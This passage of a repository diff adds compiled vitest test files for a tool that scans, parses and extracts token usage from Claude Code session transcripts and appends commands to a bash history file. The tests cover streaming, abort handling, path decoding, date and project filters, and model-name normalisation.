const writeStream = fs.createWriteStream(tempPath);
for (let i = 0; i < 10000; i++) {
writeStream.write(JSON.stringify(entryTemplate) + '\n');
}
writeStream.end();
// Wait for write to complete
await new Promise((resolve) => writeStream.on('finish', resolve));
try {
let count = 0;
const startMemory = process.memoryUsage().heapUsed;
for await (const entry of parseTranscript(tempPath)) {
count++;
expect(entry.type).toBe('assistant');
// Check memory hasn't grown excessively (allow some growth for overhead)
if (count % 1000 === 0) {
const currentMemory = process.memoryUsage().heapUsed;
const memoryGrowth = currentMemory - startMemory;
// Should not grow by more than 50MB for streaming
expect(memoryGrowth).toBeLessThan(50 * 1024 * 1024);
}
}
expect(count).toBe(10000);
}
finally {
fs.unlinkSync(tempPath);
}
});
it('cleans up resources on abort', async () => {
const controller = new AbortController();
// Start parsing
const generator = parseTranscript(sampleTranscriptPath, {
signal: controller.signal,
});
// Get first entry
await generator.next();
// Abort immediately
controller.abort();
// Try to get next entry
const result = await generator.next();
expect(result.done).toBe(true);
});
});
describe('loadTranscript()', () => {
it('loads all entries into memory', async () => {
const entries = await loadTranscript(sampleTranscriptPath);
expect(entries).toHaveLength(5);
expect(entries[0].sessionId).toBe('test-session-1');
});
it('respects AbortSignal', async () => {
const controller = new AbortController();
// Abort after a short delay
setTimeout(() => controller.abort(), 10);
const entries = await loadTranscript(sampleTranscriptPath, {
signal: controller.signal,
});
// May or may not complete depending on timing, but should not throw
expect(Array.isArray(entries)).toBe(true);
});
it('handles custom error handler', async () => {
const tempPath = join(fixturesDir, 'malformed-load-test.jsonl');
const content = [
'{"type":"assistant","sessionId":"test","timestamp":"2026-01-24T00:00:00.000Z","message":{"model":"claude-sonnet-4-5-20250929","role":"assistant","usage":{"input_tokens":10,"output_tokens":5,"cache_creation_input_tokens":0,"cache_read_input_tokens":0}}}',
'INVALID',
'{"type":"assistant","sessionId":"test","timestamp":"2026-01-24T00:01:00.000Z","message":{"model":"claude-sonnet-4-5-20250929","role":"assistant","usage":{"input_tokens":20,"output_tokens":10,"cache_creation_input_tokens":0,"cache_read_input_tokens":0}}}',
].join('\n');
fs.writeFileSync(tempPath, content);
const errors = [];
const onParseError = (line) => {
errors.push(line);
};
try {
const entries = await loadTranscript(tempPath, { onParseError });
expect(entries).toHaveLength(2);
expect(errors).toHaveLength(1);
expect(errors[0]).toBe('INVALID');
}
finally {
fs.unlinkSync(tempPath);
}
});
it('returns empty array for empty file', async () => {
const tempPath = join(fixturesDir, 'empty-load-test.jsonl');
fs.writeFileSync(tempPath, '');
try {
const entries = await loadTranscript(tempPath);
expect(entries).toEqual([]);
}
finally {
fs.unlinkSync(tempPath);
}
});
});
});
//# sourceMappingURL=transcript-parser.test.js.map

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,2 @@
export {};
//# sourceMappingURL=transcript-scanner.test.d.ts.map

View File

@@ -0,0 +1 @@
{"version":3,"file":"transcript-scanner.test.d.ts","sourceRoot":"","sources":["../../../src/__tests__/analytics/transcript-scanner.test.ts"],"names":[],"mappings":""}

443
dist/__tests__/analytics/transcript-scanner.test.js generated vendored Normal file
View File

@@ -0,0 +1,443 @@
import { vi, describe, it, expect, beforeEach, afterEach } from 'vitest';
import * as fs from 'fs/promises';
import { mkdirSync, rmSync, existsSync } from 'fs';
import { join } from 'path';
import { homedir, tmpdir } from 'os';
import { scanTranscripts, decodeProjectPath } from '../../analytics/transcript-scanner.js';
/**
* Helper to encode a path the same way Claude Code does.
* - Unix: "/home/user/project" → "-home-user-project"
* - Windows: "C:\Users\user\project" → "C--Users-user-project"
*/
function encodePathForTest(absolutePath) {
// Normalize path separators to forward slashes
const normalized = absolutePath.replace(/\\/g, '/');
// Check for Windows drive letter (e.g., "C:/...")
const windowsDriveMatch = normalized.match(/^([A-Za-z]):\/(.*)$/);
if (windowsDriveMatch) {
const driveLetter = windowsDriveMatch[1];
const rest = windowsDriveMatch[2];
// Encode as "C--Users-user-project"
return `${driveLetter}-${rest.replace(/\//g, '-')}`;
}
// Unix path (e.g., "/home/user/project")
if (normalized.startsWith('/')) {
return `-${normalized.slice(1).replace(/\//g, '-')}`;
}
// Relative path - return as-is
return normalized.replace(/\//g, '-');
}
/**
* Helper to get expected decoded path format.
* Windows paths are returned with forward slashes for consistency.
*/
function expectedDecodedPath(absolutePath) {
// Normalize to forward slashes (the decoder always uses forward slashes)
return absolutePath.replace(/\\/g, '/');
}
vi.mock('fs/promises');
vi.mock('os');
describe('transcript-scanner', () => {
const mockHomedir = '/home/testuser';
const projectsDir = join(mockHomedir, '.claude', 'projects');
beforeEach(() => {
vi.mocked(homedir).mockReturnValue(mockHomedir);
});
afterEach(() => {
vi.clearAllMocks();
});
describe('scanTranscripts()', () => {
it('discovers .jsonl files in project directories', async () => {
const mockEntries = [
{ name: '-home-testuser-project1', isDirectory: () => true },
{ name: '-home-testuser-project2', isDirectory: () => true },
];
const mockProjectFiles1 = [
'a1b2c3d4-e5f6-7890-abcd-ef1234567890.jsonl',
'b2c3d4e5-f6a7-8901-bcde-f12345678901.jsonl',
'sessions-index.json',
];
const mockProjectFiles2 = [
'c3d4e5f6-a7b8-9012-cdef-123456789012.jsonl',
];
vi.mocked(fs.readdir)
.mockResolvedValueOnce(mockEntries)
.mockResolvedValueOnce(mockProjectFiles1)
.mockResolvedValueOnce(mockProjectFiles2);
vi.mocked(fs.stat).mockImplementation(async (path) => {
const stats = {
size: 1024,
mtime: new Date('2026-01-24T00:00:00.000Z'),
};
return stats;
});
const result = await scanTranscripts();
expect(result.transcripts).toHaveLength(3);
expect(result.projectCount).toBe(2);
expect(result.totalSize).toBe(3072); // 1024 * 3
expect(result.transcripts[0]).toMatchObject({
projectPath: '/home/testuser/project1',
projectDir: '-home-testuser-project1',
sessionId: 'a1b2c3d4-e5f6-7890-abcd-ef1234567890',
fileSize: 1024,
});
});
it('filters by project pattern', async () => {
const mockEntries = [
{ name: '-home-testuser-workspace-foo', isDirectory: () => true },
{ name: '-home-testuser-workspace-bar', isDirectory: () => true },
{ name: '-home-testuser-other-baz', isDirectory: () => true },
];
const mockProjectFiles = [
'a1b2c3d4-e5f6-7890-abcd-ef1234567890.jsonl',
];
vi.mocked(fs.readdir)
.mockResolvedValueOnce(mockEntries)
.mockResolvedValue(mockProjectFiles);
vi.mocked(fs.stat).mockResolvedValue({
size: 512,
mtime: new Date('2026-01-24T00:00:00.000Z'),
});
const result = await scanTranscripts({
projectFilter: '/home/testuser/workspace/*',
});
expect(result.transcripts).toHaveLength(2);
expect(result.transcripts[0].projectPath).toBe('/home/testuser/workspace/foo');
expect(result.transcripts[1].projectPath).toBe('/home/testuser/workspace/bar');
});
it('filters by date', async () => {
const mockEntries = [
{ name: '-home-testuser-project', isDirectory: () => true },
];
const mockProjectFiles = [
'a1b2c3d4-e5f6-7890-abcd-ef1234567890.jsonl',
'b2c3d4e5-f6a7-8901-bcde-f12345678901.jsonl',
'c3d4e5f6-a7b8-9012-cdef-123456789012.jsonl',
];
vi.mocked(fs.readdir)
.mockResolvedValueOnce(mockEntries)
.mockResolvedValueOnce(mockProjectFiles);
let callIndex = 0;
vi.mocked(fs.stat).mockImplementation(async () => {
const dates = [
new Date('2026-01-20T00:00:00.000Z'), // Old
new Date('2026-01-23T00:00:00.000Z'), // Recent
new Date('2026-01-24T00:00:00.000Z'), // Recent
];
const stats = {
size: 256,
mtime: dates[callIndex++],
};
return stats;
});
const result = await scanTranscripts({
minDate: new Date('2026-01-22T00:00:00.000Z'),
});
expect(result.transcripts).toHaveLength(2);
expect(result.transcripts[0].sessionId).toBe('b2c3d4e5-f6a7-8901-bcde-f12345678901');
expect(result.transcripts[1].sessionId).toBe('c3d4e5f6-a7b8-9012-cdef-123456789012');
});
it('excludes non-UUID filenames', async () => {
const mockEntries = [
{ name: '-home-testuser-project', isDirectory: () => true },
];
const mockProjectFiles = [
'a1b2c3d4-e5f6-7890-abcd-ef1234567890.jsonl', // Valid UUID
'invalid-session-id.jsonl', // Invalid
'not-a-uuid.jsonl', // Invalid
'sessions-index.json', // Excluded anyway
'readme.txt', // Not .jsonl
];
vi.mocked(fs.readdir)
.mockResolvedValueOnce(mockEntries)
.mockResolvedValueOnce(mockProjectFiles);
vi.mocked(fs.stat).mockResolvedValue({
size: 128,
mtime: new Date('2026-01-24T00:00:00.000Z'),
});
const result = await scanTranscripts();
expect(result.transcripts).toHaveLength(1);
expect(result.transcripts[0].sessionId).toBe('a1b2c3d4-e5f6-7890-abcd-ef1234567890');
});
it('handles missing directories gracefully', async () => {
const error = new Error('ENOENT');
error.code = 'ENOENT';
vi.mocked(fs.readdir).mockRejectedValue(error);
const result = await scanTranscripts();
expect(result).toEqual({
transcripts: [],
totalSize: 0,
projectCount: 0,
});
});
it('throws on other file system errors', async () => {
const error = new Error('EACCES');
error.code = 'EACCES';
vi.mocked(fs.readdir).mockRejectedValue(error);
await expect(scanTranscripts()).rejects.toThrow('EACCES');
});
it('skips non-directory entries', async () => {
const mockEntries = [
{ name: '-home-testuser-project', isDirectory: () => true },
{ name: 'some-file.txt', isDirectory: () => false },
];
const mockProjectFiles = [
'a1b2c3d4-e5f6-7890-abcd-ef1234567890.jsonl',
];
vi.mocked(fs.readdir)
.mockResolvedValueOnce(mockEntries)
.mockResolvedValueOnce(mockProjectFiles);
vi.mocked(fs.stat).mockResolvedValue({
size: 64,
mtime: new Date('2026-01-24T00:00:00.000Z'),
});
const result = await scanTranscripts();
expect(result.transcripts).toHaveLength(1);
expect(result.projectCount).toBe(1);
});
it('calculates total size correctly', async () => {
const mockEntries = [
{ name: '-home-testuser-project', isDirectory: () => true },
];
const mockProjectFiles = [
'a1b2c3d4-e5f6-7890-abcd-ef1234567890.jsonl',
'b2c3d4e5-f6a7-8901-bcde-f12345678901.jsonl',
];
vi.mocked(fs.readdir)
.mockResolvedValueOnce(mockEntries)
.mockResolvedValueOnce(mockProjectFiles);
let callIndex = 0;
vi.mocked(fs.stat).mockImplementation(async () => {
const sizes = [2048, 4096];
const stats = {
size: sizes[callIndex++],
mtime: new Date('2026-01-24T00:00:00.000Z'),
};
return stats;
});
const result = await scanTranscripts();
expect(result.totalSize).toBe(6144);
});
it('handles empty project directories', async () => {
const mockEntries = [
{ name: '-home-testuser-empty-project', isDirectory: () => true },
];
vi.mocked(fs.readdir)
.mockResolvedValueOnce(mockEntries)
.mockResolvedValueOnce([]); // Empty directory
const result = await scanTranscripts();
expect(result.transcripts).toHaveLength(0);
expect(result.projectCount).toBe(0);
});
it('combines project and date filters', async () => {
const mockEntries = [
{ name: '-home-testuser-workspace-foo', isDirectory: () => true },
{ name: '-home-testuser-other-bar', isDirectory: () => true },
];
const mockProjectFiles = [
'a1b2c3d4-e5f6-7890-abcd-ef1234567890.jsonl',
];
vi.mocked(fs.readdir)
.mockResolvedValueOnce(mockEntries)
.mockResolvedValue(mockProjectFiles);
let callIndex = 0;
vi.mocked(fs.stat).mockImplementation(async () => {
const dates = [
new Date('2026-01-24T00:00:00.000Z'), // workspace-foo: recent
new Date('2026-01-20T00:00:00.000Z'), // other-bar: old (but filtered by project anyway)
];
const stats = {
size: 512,
mtime: dates[callIndex++],
};
return stats;
});
const result = await scanTranscripts({
projectFilter: '/home/testuser/workspace/*',
minDate: new Date('2026-01-23T00:00:00.000Z'),
});
expect(result.transcripts).toHaveLength(1);
expect(result.transcripts[0].projectPath).toBe('/home/testuser/workspace/foo');
});
});
describe('decodeProjectPath()', () => {
it('decodes standard encoded paths', () => {
// We need to test this indirectly through scanTranscripts
const mockEntries = [
{ name: '-home-user-workspace-project', isDirectory: () => true },
];
const mockProjectFiles = [
'a1b2c3d4-e5f6-7890-abcd-ef1234567890.jsonl',
];
vi.mocked(fs.readdir)
.mockResolvedValueOnce(mockEntries)
.mockResolvedValueOnce(mockProjectFiles);
vi.mocked(fs.stat).mockResolvedValue({
size: 128,
mtime: new Date('2026-01-24T00:00:00.000Z'),
});
return scanTranscripts().then(result => {
expect(result.transcripts[0].projectPath).toBe('/home/user/workspace/project');
});
});
it('handles paths without leading dash', () => {
const mockEntries = [
{ name: 'relative-path-project', isDirectory: () => true },
];
const mockProjectFiles = [
'a1b2c3d4-e5f6-7890-abcd-ef1234567890.jsonl',
];
vi.mocked(fs.readdir)
.mockResolvedValueOnce(mockEntries)
.mockResolvedValueOnce(mockProjectFiles);
vi.mocked(fs.stat).mockResolvedValue({
size: 128,
mtime: new Date('2026-01-24T00:00:00.000Z'),
});
return scanTranscripts().then(result => {
// Should return unchanged if no leading dash
expect(result.transcripts[0].projectPath).toBe('relative-path-project');
});
});
it('handles root path', () => {
const mockEntries = [
{ name: '-root', isDirectory: () => true },
];
const mockProjectFiles = [
'a1b2c3d4-e5f6-7890-abcd-ef1234567890.jsonl',
];
vi.mocked(fs.readdir)
.mockResolvedValueOnce(mockEntries)
.mockResolvedValueOnce(mockProjectFiles);
vi.mocked(fs.stat).mockResolvedValue({
size: 128,
mtime: new Date('2026-01-24T00:00:00.000Z'),
});
return scanTranscripts().then(result => {
expect(result.transcripts[0].projectPath).toBe('/root');
});
});
});
});
/**
* Tests for decodeProjectPath with actual filesystem checks.
* These tests verify the smart path resolution works correctly with real directories.
*/
describe('decodeProjectPath (filesystem-aware)', () => {
let testDir;
beforeEach(() => {
// Restore tmpdir for this test suite
vi.mocked(tmpdir).mockReturnValue(require('os').tmpdir());
// Create a temporary test directory
testDir = join(tmpdir(), `test-decode-path-${Date.now()}`);
mkdirSync(testDir, { recursive: true });
});
afterEach(() => {
// Clean up test directory
if (existsSync(testDir)) {
rmSync(testDir, { recursive: true, force: true });
}
});
it('should return non-encoded paths as-is', () => {
const result = decodeProjectPath('my-project');
expect(result).toBe('my-project');
});
it('should decode simple paths without hyphens when path exists', () => {
// Create: {testDir}/home/user/project
const projectPath = join(testDir, 'home', 'user', 'project');
mkdirSync(projectPath, { recursive: true });
const fullPath = join(testDir, 'home', 'user', 'project');
const encoded = encodePathForTest(fullPath);
const result = decodeProjectPath(encoded);
expect(result).toBe(expectedDecodedPath(fullPath));
});
it('should decode paths with legitimate hyphens in directory names', () => {
// Create: {testDir}/home/user/my-project
const projectPath = join(testDir, 'home', 'user', 'my-project');
mkdirSync(projectPath, { recursive: true });
const fullPath = join(testDir, 'home', 'user', 'my-project');
const encoded = encodePathForTest(fullPath);
const result = decodeProjectPath(encoded);
// Should preserve "my-project" as one directory
expect(result).toBe(expectedDecodedPath(fullPath));
});
it('should handle multiple hyphens in a single directory name', () => {
// Create: {testDir}/home/user/my-cool-project
const projectPath = join(testDir, 'home', 'user', 'my-cool-project');
mkdirSync(projectPath, { recursive: true });
const fullPath = join(testDir, 'home', 'user', 'my-cool-project');
const encoded = encodePathForTest(fullPath);
const result = decodeProjectPath(encoded);
expect(result).toBe(expectedDecodedPath(fullPath));
});
it('should handle hyphens at multiple levels', () => {
// Create: {testDir}/my-workspace/my-project
const projectPath = join(testDir, 'my-workspace', 'my-project');
mkdirSync(projectPath, { recursive: true });
const fullPath = join(testDir, 'my-workspace', 'my-project');
const encoded = encodePathForTest(fullPath);
const result = decodeProjectPath(encoded);
expect(result).toBe(expectedDecodedPath(fullPath));
});
it('should fall back to simple decode if no matching filesystem path exists', () => {
// Don't create any directories - test fallback behavior
const encoded = '-home-user-nonexistent-project';
const result = decodeProjectPath(encoded);
// Should fall back to simple decode (all dashes -> slashes)
expect(result).toBe('/home/user/nonexistent/project');
});
it('should handle root-level project directories', () => {
// Create: {testDir}/my-project
const projectPath = join(testDir, 'my-project');
mkdirSync(projectPath, { recursive: true });
const fullPath = join(testDir, 'my-project');
const encoded = encodePathForTest(fullPath);
const result = decodeProjectPath(encoded);
expect(result).toBe(expectedDecodedPath(fullPath));
});
it('should prefer filesystem-verified paths over simple decode', () => {
// Create: {testDir}/a/b-c (the correct interpretation)
// Don't create {testDir}/a/b/c
const correctPath = join(testDir, 'a', 'b-c');
mkdirSync(correctPath, { recursive: true });
const fullPath = join(testDir, 'a', 'b-c');
const encoded = encodePathForTest(fullPath);
const result = decodeProjectPath(encoded);
// Should choose /a/b-c over /a/b/c
expect(result).toBe(expectedDecodedPath(fullPath));
});
it('should handle deeply nested paths with hyphens', () => {
// Create: {testDir}/home/user/workspace/my-project/sub-folder
const projectPath = join(testDir, 'home', 'user', 'workspace', 'my-project', 'sub-folder');
mkdirSync(projectPath, { recursive: true });
const fullPath = join(testDir, 'home', 'user', 'workspace', 'my-project', 'sub-folder');
const encoded = encodePathForTest(fullPath);
const result = decodeProjectPath(encoded);
expect(result).toBe(expectedDecodedPath(fullPath));
});
it('should handle paths with consecutive hyphens', () => {
// Create: {testDir}/my--project (unusual but valid)
const projectPath = join(testDir, 'my--project');
mkdirSync(projectPath, { recursive: true });
const fullPath = join(testDir, 'my--project');
const encoded = encodePathForTest(fullPath);
const result = decodeProjectPath(encoded);
expect(result).toBe(expectedDecodedPath(fullPath));
});
it('should find first matching path when multiple interpretations exist', () => {
// Create both possible interpretations
const path1 = join(testDir, 'a-b', 'c');
const path2 = join(testDir, 'a', 'b-c');
mkdirSync(path1, { recursive: true });
mkdirSync(path2, { recursive: true });
const fullPath = join(testDir, 'a', 'b-c'); // Use one as reference for encoding
const encoded = encodePathForTest(fullPath);
const result = decodeProjectPath(encoded);
// Should match one of the valid paths
const expected1 = expectedDecodedPath(path1);
const expected2 = expectedDecodedPath(path2);
const isValid = result === expected1 || result === expected2;
expect(isValid).toBe(true);
});
});
//# sourceMappingURL=transcript-scanner.test.js.map

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,2 @@
export {};
//# sourceMappingURL=transcript-token-extractor.test.d.ts.map

View File

@@ -0,0 +1 @@
{"version":3,"file":"transcript-token-extractor.test.d.ts","sourceRoot":"","sources":["../../../src/__tests__/analytics/transcript-token-extractor.test.ts"],"names":[],"mappings":""}

View File

@@ -0,0 +1,177 @@
import { describe, it, expect } from 'vitest';
import { extractTokenUsage } from '../../analytics/transcript-token-extractor.js';
describe('extractTokenUsage', () => {
it('should extract token usage from assistant entry', () => {
const entry = {
type: 'assistant',
timestamp: '2026-01-24T05:07:46.325Z',
sessionId: 'test-session-123',
message: {
model: 'claude-sonnet-4-5-20250929',
usage: {
input_tokens: 1000,
output_tokens: 500,
cache_creation_input_tokens: 200,
cache_read_input_tokens: 300
}
}
};
const result = extractTokenUsage(entry, 'test-session-123', 'test.jsonl');
expect(result).not.toBeNull();
expect(result?.usage.modelName).toBe('claude-sonnet-4.5');
expect(result?.usage.inputTokens).toBe(1000);
expect(result?.usage.outputTokens).toBe(500);
expect(result?.usage.cacheCreationTokens).toBe(200);
expect(result?.usage.cacheReadTokens).toBe(300);
expect(result?.usage.sessionId).toBe('test-session-123');
expect(result?.sourceFile).toBe('test.jsonl');
expect(result?.entryId).toBeDefined();
expect(result?.entryId.length).toBe(64); // SHA256 hex length
});
it('should return null for non-assistant entries', () => {
const entry = {
type: 'user',
timestamp: '2026-01-24T05:07:46.325Z',
sessionId: 'test-session-123'
};
const result = extractTokenUsage(entry, 'test-session-123', 'test.jsonl');
expect(result).toBeNull();
});
it('should return null for assistant entries without usage', () => {
const entry = {
type: 'assistant',
timestamp: '2026-01-24T05:07:46.325Z',
sessionId: 'test-session-123',
message: {
model: 'claude-sonnet-4-5-20250929'
}
};
const result = extractTokenUsage(entry, 'test-session-123', 'test.jsonl');
expect(result).toBeNull();
});
it('should detect agent name from agentId and slug', () => {
const entry = {
type: 'assistant',
timestamp: '2026-01-24T05:07:46.325Z',
sessionId: 'test-session-123',
agentId: 'a61283e',
slug: 'smooth-swinging-avalanche',
message: {
model: 'claude-haiku-4-5-20251001',
usage: {
input_tokens: 100,
output_tokens: 50
}
}
};
const result = extractTokenUsage(entry, 'test-session-123', 'test.jsonl');
expect(result).not.toBeNull();
// Assistant entries are main session responses, not agent responses
expect(result?.usage.agentName).toBeUndefined();
});
it('should normalize model names correctly', () => {
const testCases = [
{ model: 'claude-opus-4-6-20260205', expected: 'claude-opus-4.6' },
{ model: 'claude-sonnet-4-5-20250929', expected: 'claude-sonnet-4.5' },
{ model: 'claude-haiku-4-5-20251001', expected: 'claude-haiku-4' }
];
testCases.forEach(({ model, expected }) => {
const entry = {
type: 'assistant',
timestamp: '2026-01-24T05:07:46.325Z',
sessionId: 'test-session-123',
message: {
model,
usage: {
input_tokens: 100,
output_tokens: 50
}
}
};
const result = extractTokenUsage(entry, 'test-session-123', 'test.jsonl');
expect(result?.usage.modelName).toBe(expected);
});
});
it('should detect agent from Task tool usage', () => {
const entry = {
type: 'assistant',
timestamp: '2026-01-24T05:07:46.325Z',
sessionId: 'test-session-123',
message: {
model: 'claude-sonnet-4-5-20250929',
usage: {
input_tokens: 100,
output_tokens: 50
},
content: [
{
type: 'tool_use',
name: 'Task',
input: {
subagent_type: 'oh-my-claudecode:executor',
model: 'sonnet'
}
}
]
}
};
const result = extractTokenUsage(entry, 'test-session-123', 'test.jsonl');
expect(result).not.toBeNull();
// The usage is for generating the Task call, not the spawned agent
expect(result?.usage.agentName).toBeUndefined();
});
it('should use ACTUAL output_tokens from transcript', () => {
const entry = {
type: 'assistant',
timestamp: '2026-01-24T05:07:46.325Z',
sessionId: 'test-session-123',
message: {
model: 'claude-sonnet-4-5-20250929',
usage: {
input_tokens: 1000,
output_tokens: 1234 // ACTUAL value, not estimate
}
}
};
const result = extractTokenUsage(entry, 'test-session-123', 'test.jsonl');
expect(result).not.toBeNull();
expect(result?.usage.outputTokens).toBe(1234);
});
it('should generate consistent entry IDs for same data', () => {
const entry = {
type: 'assistant',
timestamp: '2026-01-24T05:07:46.325Z',
sessionId: 'test-session-123',
message: {
model: 'claude-sonnet-4-5-20250929',
usage: {
input_tokens: 100,
output_tokens: 50
}
}
};
const result1 = extractTokenUsage(entry, 'test-session-123', 'test.jsonl');
const result2 = extractTokenUsage(entry, 'test-session-123', 'test.jsonl');
expect(result1?.entryId).toBe(result2?.entryId);
});
it('should handle missing cache tokens gracefully', () => {
const entry = {
type: 'assistant',
timestamp: '2026-01-24T05:07:46.325Z',
sessionId: 'test-session-123',
message: {
model: 'claude-sonnet-4-5-20250929',
usage: {
input_tokens: 100,
output_tokens: 50
// No cache tokens
}
}
};
const result = extractTokenUsage(entry, 'test-session-123', 'test.jsonl');
expect(result).not.toBeNull();
expect(result?.usage.cacheCreationTokens).toBe(0);
expect(result?.usage.cacheReadTokens).toBe(0);
});
});
//# sourceMappingURL=transcript-token-extractor.test.js.map

File diff suppressed because one or more lines are too long

5
dist/__tests__/bash-history.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,5 @@
/**
* Tests for bash history integration (issue #290)
*/
export {};
//# sourceMappingURL=bash-history.test.d.ts.map

1
dist/__tests__/bash-history.test.d.ts.map generated vendored Normal file
View File

@@ -0,0 +1 @@
{"version":3,"file":"bash-history.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/bash-history.test.ts"],"names":[],"mappings":"AAAA;;GAEG"}

78
dist/__tests__/bash-history.test.js generated vendored Normal file
View File

@@ -0,0 +1,78 @@
/**
* Tests for bash history integration (issue #290)
*/
import { describe, it, expect, afterEach } from 'vitest';
import { existsSync, readFileSync, unlinkSync } from 'fs';
import { join } from 'path';
import { tmpdir } from 'os';
describe('Bash History Integration', () => {
const testHistoryPath = join(tmpdir(), `.bash_history_test_${process.pid}`);
afterEach(() => {
try {
unlinkSync(testHistoryPath);
}
catch {
// Cleanup failure is non-critical
}
});
describe('appendToBashHistory logic', () => {
function appendToBashHistory(command, historyPath) {
if (!command || typeof command !== 'string')
return;
const cleaned = command.trim();
if (!cleaned)
return;
if (cleaned.startsWith('#'))
return;
const { appendFileSync } = require('fs');
appendFileSync(historyPath, cleaned + '\n');
}
it('should append a simple command', () => {
appendToBashHistory('ls -la', testHistoryPath);
const content = readFileSync(testHistoryPath, 'utf-8');
expect(content).toBe('ls -la\n');
});
it('should append multiple commands', () => {
appendToBashHistory('git status', testHistoryPath);
appendToBashHistory('npm test', testHistoryPath);
const content = readFileSync(testHistoryPath, 'utf-8');
expect(content).toBe('git status\nnpm test\n');
});
it('should trim whitespace', () => {
appendToBashHistory(' ls ', testHistoryPath);
const content = readFileSync(testHistoryPath, 'utf-8');
expect(content).toBe('ls\n');
});
it('should skip empty commands', () => {
appendToBashHistory('', testHistoryPath);
appendToBashHistory(' ', testHistoryPath);
expect(existsSync(testHistoryPath)).toBe(false);
});
it('should skip comments', () => {
appendToBashHistory('# this is a comment', testHistoryPath);
expect(existsSync(testHistoryPath)).toBe(false);
});
});
describe('config reading', () => {
function getBashHistoryEnabled(config) {
if (config === false)
return false;
if (typeof config === 'object' && config !== null && config.enabled === false)
return false;
return true;
}
it('should default to enabled when no config', () => {
expect(getBashHistoryEnabled(undefined)).toBe(true);
});
it('should respect false', () => {
expect(getBashHistoryEnabled(false)).toBe(false);
});
it('should respect { enabled: false }', () => {
expect(getBashHistoryEnabled({ enabled: false })).toBe(false);
});
it('should treat { enabled: true } as enabled', () => {
expect(getBashHistoryEnabled({ enabled: true })).toBe(true);
});
});
});
//# sourceMappingURL=bash-history.test.js.map

1
dist/__tests__/bash-history.test.js.map generated vendored Normal file
View File

@@ -0,0 +1 @@
{"version":3,"file":"bash-history.test.js","sourceRoot":"","sources":["../../src/__tests__/bash-history.test.ts"],"names":[],"mappings":"AAAA;;GAEG;AAEH,OAAO,EAAE,QAAQ,EAAE,EAAE,EAAE,MAAM,EAAE,SAAS,EAAE,MAAM,QAAQ,CAAC;AACzD,OAAO,EAAE,UAAU,EAAE,YAAY,EAAiB,UAAU,EAAa,MAAM,IAAI,CAAC;AACpF,OAAO,EAAE,IAAI,EAAE,MAAM,MAAM,CAAC;AAC5B,OAAO,EAAE,MAAM,EAAW,MAAM,IAAI,CAAC;AAGrC,QAAQ,CAAC,0BAA0B,EAAE,GAAG,EAAE;IACxC,MAAM,eAAe,GAAG,IAAI,CAAC,MAAM,EAAE,EAAE,sBAAsB,OAAO,CAAC,GAAG,EAAE,CAAC,CAAC;IAE5E,SAAS,CAAC,GAAG,EAAE;QACb,IAAI,CAAC;YAAC,UAAU,CAAC,eAAe,CAAC,CAAC;QAAC,CAAC;QAAC,MAAM,CAAC;YAC1C,kCAAkC;QACpC,CAAC;IACH,CAAC,CAAC,CAAC;IAEH,QAAQ,CAAC,2BAA2B,EAAE,GAAG,EAAE;QACzC,SAAS,mBAAmB,CAAC,OAAe,EAAE,WAAmB;YAC/D,IAAI,CAAC,OAAO,IAAI,OAAO,OAAO,KAAK,QAAQ;gBAAE,OAAO;YACpD,MAAM,OAAO,GAAG,OAAO,CAAC,IAAI,EAAE,CAAC;YAC/B,IAAI,CAAC,OAAO;gBAAE,OAAO;YACrB,IAAI,OAAO,CAAC,UAAU,CAAC,GAAG,CAAC;gBAAE,OAAO;YAEpC,MAAM,EAAE,cAAc,EAAE,GAAG,OAAO,CAAC,IAAI,CAAC,CAAC;YACzC,cAAc,CAAC,WAAW,EAAE,OAAO,GAAG,IAAI,CAAC,CAAC;QAC9C,CAAC;QAED,EAAE,CAAC,gCAAgC,EAAE,GAAG,EAAE;YACxC,mBAAmB,CAAC,QAAQ,EAAE,eAAe,CAAC,CAAC;YAC/C,MAAM,OAAO,GAAG,YAAY,CAAC,eAAe,EAAE,OAAO,CAAC,CAAC;YACvD,MAAM,CAAC,OAAO,CAAC,CAAC,IAAI,CAAC,UAAU,CAAC,CAAC;QACnC,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,iCAAiC,EAAE,GAAG,EAAE;YACzC,mBAAmB,CAAC,YAAY,EAAE,eAAe,CAAC,CAAC;YACnD,mBAAmB,CAAC,UAAU,EAAE,eAAe,CAAC,CAAC;YACjD,MAAM,OAAO,GAAG,YAAY,CAAC,eAAe,EAAE,OAAO,CAAC,CAAC;YACvD,MAAM,CAAC,OAAO,CAAC,CAAC,IAAI,CAAC,wBAAwB,CAAC,CAAC;QACjD,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,wBAAwB,EAAE,GAAG,EAAE;YAChC,mBAAmB,CAAC,QAAQ,EAAE,eAAe,CAAC,CAAC;YAC/C,MAAM,OAAO,GAAG,YAAY,CAAC,eAAe,EAAE,OAAO,CAAC,CAAC;YACvD,MAAM,CAAC,OAAO,CAAC,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC;QAC/B,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,4BAA4B,EAAE,GAAG,EAAE;YACpC,mBAAmB,CAAC,EAAE,EAAE,eAAe,CAAC,CAAC;YACzC,mBAAmB,CAAC,KAAK,EAAE,eAAe,CAAC,CAAC;YAC5C,MAAM,CAAC,UAAU,CAAC,eAAe,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;QAClD,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,sBAAsB,EAAE,GAAG,EAAE;YAC9B,mBAAmB,CAAC,qBAAqB,EAAE,eAAe,CAAC,CAAC;YAC5D,MAAM,CAAC,UAAU,CAAC,eAAe,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;QAClD,CAAC,CAAC,CAAC;IACL,CAAC,CAAC,CAAC;IAEH,QAAQ,CAAC,gBAAgB,EAAE,GAAG,EAAE;QAC9B,SAAS,qBAAqB,CAAC,MAAe;YAC5C,IAAI,MAAM,KAAK,KAAK;gBAAE,OAAO,KAAK,CAAC;YACnC,IAAI,OAAO,MAAM,KAAK,QAAQ,IAAI,MAAM,KAAK,IAAI,IAAK,MAAc,CAAC,OAAO,KAAK,KAAK;gBAAE,OAAO,KAAK,CAAC;YACrG,OAAO,IAAI,CAAC;QACd,CAAC;QAED,EAAE,CAAC,0CAA0C,EAAE,GAAG,EAAE;YAClD,MAAM,CAAC,qBAAqB,CAAC,SAAS,CAAC